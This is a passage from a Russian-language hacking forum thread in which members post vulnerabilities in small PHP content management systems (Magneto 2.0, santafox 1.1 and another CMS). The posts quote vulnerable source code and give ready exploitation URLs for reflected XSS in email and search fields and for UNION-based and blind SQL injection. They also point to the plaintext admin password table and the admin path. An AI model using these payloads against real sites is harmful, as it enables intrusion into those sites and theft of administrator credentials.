    "{$lan[17]} \"{$_POST['p_s_mail']}\".<br><br>";
        }
    ...
    /include/langyage/russian.lng
    PHP:
    ...$lan[17]="Публикация успешно отправлена по адресу";...
    Тоесть, имеем пасивную XSS в поле E-mail друга (p_s_mail) + анонимная отправка писем.
    Даные отправляються постом.
    Чтоб сработала comm_permission=0 должно быть.
    По умолчанию так и есть на 3-х страницах и при добавление новых также (если не изменить радиобатон).

    Result:
    http://cmslink/main/send
    В поле E-mail друга:[email protected]<script>alert(123)</script>​
     
    #358 Strilo4ka, 16 Apr 2010
    Last edited: 16 Apr 2010
    1 person likes this.
  19. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Magneto


    Magneto <= v2.0
    SQl-inj
    Офф сайт:
    http://www.userside.org.ua/magneto/

    /magneto/main/config/admfunct.php
    PHP:
    function requestdata($ps1)
    {
    if (isset(
    $_REQUEST[$ps1])){$ps_requestdata=replacesymbol(trim($_REQUEST[$ps1]));} else {$ps_requestdata='';}
    return 
    $ps_requestdata;
    }
    /magneto/module/$module/kat.php

    PHP:
    if ($ps_type=="delkat" || $ps_type=="editdopf" || $ps_type=="editdopf2" || $ps_type=="delsubkat" || $ps_type=="edit" || $ps_type=="edit2"dopverify("DO_KAT");

    if (
    $ps_type=="editdopf"$ps_style="short";

    if (
    $ps_type2!=""$ps_katname=getkatname($ps_type2);
    PHP:
    if ($ps_type=="editdopf2"){
        
    $ps_dopf1=requestdata('dopf1');
        
    $ps_dopf2=requestdata('dopf2');
        
    $ps_dopf3=requestdata('dopf3');
        
    $ps_dopf4=requestdata('dopf4');
        
    $ps_dopf5=requestdata('dopf5');
            
    $rs_2=mysql_query("select * from tbl_dopf where KATCODE=".$ps_code,$conn1);
            
    $rs=mysql_fetch_array($rs_2);
            if (
    $rs['CODE']==''){
                
    $ps_constr="insert into tbl_dopf (KATCODE,DOPF1,DOPF2,DOPF3,DOPF4,DOPF5) values (".$ps_code.",'".$ps_dopf1."','".$ps_dopf2."','".$ps_dopf3."','".$ps_dopf4."','".$ps_dopf5."')";
            }else{
                
    $ps_constr="update tbl_dopf set DOPF1='".$ps_dopf1."',DOPF2='".$ps_dopf2."',DOPF3='".$ps_dopf3."',DOPF4='".$ps_dopf4."',DOPF5='".$ps_dopf5."' where CODE=".$rs['CODE'];
            }
        
    mysql_free_result($rs_2);
        
    $rs_s2=mysql_query($ps_constr,$conn1);
        
    goback();
    }
    И дальше в таком же духе.
    Експлуатация:
    Code:
    [patch]/kat.php?type=showkat&type2=-1+union+select+1,2,3,4--
    
     
    4 people like this.
  20. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    santafox 1.1


    http://www.santafox.ru/

    Тестировалось на фаерфокс 3.5.9

    Пасивная XSS в поле поиска.

    Result:
    http://sa/search.html?search=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&x=0&y=0

    Пока чихлюсь с кодом, немогу найти где этот участок кода (использ.ооп), так что сори :)
    ps на сайте тоже работает!

    up
    У нас есть активная XSS в коментах , но експлуатация сводиться к миниму, так как сначала просматривает админ. Если ступит и пометит: "Комментарий активен", то активка у двох полях.
    Есть и глобальная опция Премодерация.

    Blind SQL inj
    Кстати, ошибка в этой функции, строка 4279, когда кавычку впихнуть при mg=off!
    /modules/catalog/catalog.class.php
    PHP:
    ...  private function get_item($id)
        {
            global 
    $kernel;
            
    $res    false;
            
    $query  'SELECT * FROM `'.PREFIX.'_catalog_'.$kernel->pub_module_id_get().'_items` WHERE `id` ='.$id.' LIMIT 1';
            
    $result $kernel->runSQL($query);
            if (
    $row mysql_fetch_assoc($result))
                
    $res $row;
            
    mysql_free_result($result);
            return 
    $res;
        }...
    Короче єтот модуль уязвим , чтоб не лезть в дебри покажу просто експлуатацию слепой иньекции в числовом контексте, думаю что есть в каком то модуле и принтабельная скуль. Будет время - поковыряю.

    Result:
    1) http://sa/catalog.html?cid=11+and+5=@@version
    ps также парамтер дырявый itemid (гет этому скрипту!)

    пасс в незашыфрованом виде :)

    Code:
    id,login,pass,full_name,lang,code_page,enabled
    Но префикс таблицы есть, не помню при установке по дефлоту:
    у меня таблица sf_admin.

    админко - /admin

    У кого есть желание - присоединяйтесь :)
     
    #360 Strilo4ka, 18 Apr 2010
    Last edited: 18 Apr 2010
    1 person likes this.